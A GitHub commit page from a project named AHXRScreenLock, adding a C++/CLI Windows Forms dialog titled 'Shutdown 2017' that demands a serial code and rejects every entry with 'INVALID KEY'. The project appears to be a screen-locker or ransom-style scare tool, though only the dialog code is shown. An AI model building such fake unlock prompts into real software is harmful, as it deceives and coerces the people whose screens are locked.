-
Notifications
You must be signed in to change notification settings - Fork 28
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
21 changed files
with
1,336 additions
and
8 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
/* | ||
@title | ||
AHXRScreenLock | ||
@author | ||
AHXR (https://github.com/AHXR) | ||
@copyright | ||
2017 | ||
AHXRScreenLock is free software: you can redistribute it and/or modify | ||
it under the terms of the GNU General Public License as published by | ||
the Free Software Foundation, either version 3 of the License, or | ||
(at your option) any later version. | ||
AHXRScreenLock is distributed in the hope that it will be useful, | ||
but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
GNU General Public License for more details. | ||
You should have received a copy of the GNU General Public License | ||
along with AHXRScreenLock. If not, see <http://www.gnu.org/licenses/>. | ||
*/ | ||
//======================================================= | ||
#include "frmCode.h" | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,182 @@ | ||
/* | ||
@title | ||
AHXRScreenLock | ||
@author | ||
AHXR (https://github.com/AHXR) | ||
@copyright | ||
2017 | ||
AHXRScreenLock is free software: you can redistribute it and/or modify | ||
it under the terms of the GNU General Public License as published by | ||
the Free Software Foundation, either version 3 of the License, or | ||
(at your option) any later version. | ||
AHXRScreenLock is distributed in the hope that it will be useful, | ||
but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
GNU General Public License for more details. | ||
You should have received a copy of the GNU General Public License | ||
along with AHXRScreenLock. If not, see <http://www.gnu.org/licenses/>. | ||
*/ | ||
//======================================================= | ||
#pragma once | ||
|
||
namespace AHXRShutdown { | ||
|
||
using namespace System; | ||
using namespace System::ComponentModel; | ||
using namespace System::Collections; | ||
using namespace System::Windows::Forms; | ||
using namespace System::Data; | ||
using namespace System::Drawing; | ||
|
||
/// <summary> | ||
/// Summary for frmCode | ||
/// </summary> | ||
public ref class frmCode : public System::Windows::Forms::Form | ||
{ | ||
public: | ||
frmCode(void) | ||
{ | ||
InitializeComponent(); | ||
// | ||
//TODO: Add the constructor code here | ||
// | ||
} | ||
|
||
protected: | ||
/// <summary> | ||
/// Clean up any resources being used. | ||
/// </summary> | ||
~frmCode() | ||
{ | ||
if (components) | ||
{ | ||
delete components; | ||
} | ||
} | ||
private: System::Windows::Forms::Panel^ panel1; | ||
protected: | ||
private: System::Windows::Forms::Label^ label1; | ||
private: System::Windows::Forms::PictureBox^ pictureBox1; | ||
private: System::Windows::Forms::TextBox^ txtVerify; | ||
|
||
private: System::Windows::Forms::Label^ label2; | ||
private: System::Windows::Forms::Button^ btnEnter; | ||
|
||
private: | ||
/// <summary> | ||
/// Required designer variable. | ||
/// </summary> | ||
System::ComponentModel::Container ^components; | ||
|
||
#pragma region Windows Form Designer generated code | ||
/// <summary> | ||
/// Required method for Designer support - do not modify | ||
/// the contents of this method with the code editor. | ||
/// </summary> | ||
void InitializeComponent(void) | ||
{ | ||
System::ComponentModel::ComponentResourceManager^ resources = (gcnew System::ComponentModel::ComponentResourceManager(frmCode::typeid)); | ||
this->panel1 = (gcnew System::Windows::Forms::Panel()); | ||
this->pictureBox1 = (gcnew System::Windows::Forms::PictureBox()); | ||
this->label1 = (gcnew System::Windows::Forms::Label()); | ||
this->txtVerify = (gcnew System::Windows::Forms::TextBox()); | ||
this->label2 = (gcnew System::Windows::Forms::Label()); | ||
this->btnEnter = (gcnew System::Windows::Forms::Button()); | ||
this->panel1->SuspendLayout(); | ||
(cli::safe_cast<System::ComponentModel::ISupportInitialize^>(this->pictureBox1))->BeginInit(); | ||
this->SuspendLayout(); | ||
// | ||
// panel1 | ||
// | ||
this->panel1->BackColor = System::Drawing::Color::Red; | ||
this->panel1->Controls->Add(this->label1); | ||
this->panel1->Controls->Add(this->pictureBox1); | ||
this->panel1->Location = System::Drawing::Point(-4, -5); | ||
this->panel1->Name = L"panel1"; | ||
this->panel1->Size = System::Drawing::Size(487, 42); | ||
this->panel1->TabIndex = 0; | ||
// | ||
// pictureBox1 | ||
// | ||
this->pictureBox1->Image = (cli::safe_cast<System::Drawing::Image^>(resources->GetObject(L"pictureBox1.Image"))); | ||
this->pictureBox1->Location = System::Drawing::Point(13, 11); | ||
this->pictureBox1->Name = L"pictureBox1"; | ||
this->pictureBox1->Size = System::Drawing::Size(39, 28); | ||
this->pictureBox1->SizeMode = System::Windows::Forms::PictureBoxSizeMode::StretchImage; | ||
this->pictureBox1->TabIndex = 0; | ||
this->pictureBox1->TabStop = false; | ||
// | ||
// label1 | ||
// | ||
this->label1->AutoSize = true; | ||
this->label1->Font = (gcnew System::Drawing::Font(L"Trebuchet MS", 12, System::Drawing::FontStyle::Bold, System::Drawing::GraphicsUnit::Point, | ||
static_cast<System::Byte>(0))); | ||
this->label1->ForeColor = System::Drawing::Color::White; | ||
this->label1->Location = System::Drawing::Point(55, 14); | ||
this->label1->Name = L"label1"; | ||
this->label1->Size = System::Drawing::Size(125, 22); | ||
this->label1->TabIndex = 1; | ||
this->label1->Text = L"Shutdown 2017"; | ||
// | ||
// txtVerify | ||
// | ||
this->txtVerify->Location = System::Drawing::Point(9, 61); | ||
this->txtVerify->Name = L"txtVerify"; | ||
this->txtVerify->Size = System::Drawing::Size(157, 20); | ||
this->txtVerify->TabIndex = 1; | ||
// | ||
// label2 | ||
// | ||
this->label2->AutoSize = true; | ||
this->label2->Font = (gcnew System::Drawing::Font(L"Trebuchet MS", 9.75F, System::Drawing::FontStyle::Bold, System::Drawing::GraphicsUnit::Point, | ||
static_cast<System::Byte>(0))); | ||
this->label2->ForeColor = System::Drawing::Color::Red; | ||
this->label2->Location = System::Drawing::Point(25, 40); | ||
this->label2->Name = L"label2"; | ||
this->label2->Size = System::Drawing::Size(128, 18); | ||
this->label2->TabIndex = 2; | ||
this->label2->Text = L"ENTER SERIAL CODE"; | ||
// | ||
// btnEnter | ||
// | ||
this->btnEnter->Location = System::Drawing::Point(9, 87); | ||
this->btnEnter->Name = L"btnEnter"; | ||
this->btnEnter->Size = System::Drawing::Size(157, 23); | ||
this->btnEnter->TabIndex = 3; | ||
this->btnEnter->Text = L"Verify"; | ||
this->btnEnter->UseVisualStyleBackColor = true; | ||
this->btnEnter->Click += gcnew System::EventHandler(this, &frmCode::btnEnter_Click); | ||
// | ||
// frmCode | ||
// | ||
this->AutoScaleDimensions = System::Drawing::SizeF(6, 13); | ||
this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font; | ||
this->BackColor = System::Drawing::Color::White; | ||
this->ClientSize = System::Drawing::Size(178, 122); | ||
this->Controls->Add(this->btnEnter); | ||
this->Controls->Add(this->label2); | ||
this->Controls->Add(this->txtVerify); | ||
this->Controls->Add(this->panel1); | ||
this->Icon = (cli::safe_cast<System::Drawing::Icon^>(resources->GetObject(L"$this.Icon"))); | ||
this->MaximizeBox = false; | ||
this->MinimizeBox = false; | ||
this->Name = L"frmCode"; | ||
this->ShowIcon = false; | ||
this->ShowInTaskbar = false; | ||
this->Text = L"Shutdown 2017 - Info"; | ||
this->panel1->ResumeLayout(false); | ||
this->panel1->PerformLayout(); | ||
(cli::safe_cast<System::ComponentModel::ISupportInitialize^>(this->pictureBox1))->EndInit(); | ||
this->ResumeLayout(false); | ||
this->PerformLayout(); | ||
|
||
} | ||
#pragma endregion | ||
private: System::Void btnEnter_Click(System::Object^ sender, System::EventArgs^ e) { | ||
MessageBox::Show("INVALID KEY", "SHUTDOWN 2017", MessageBoxButtons::OK); | ||
} | ||
}; | ||
} |
Oops, something went wrong.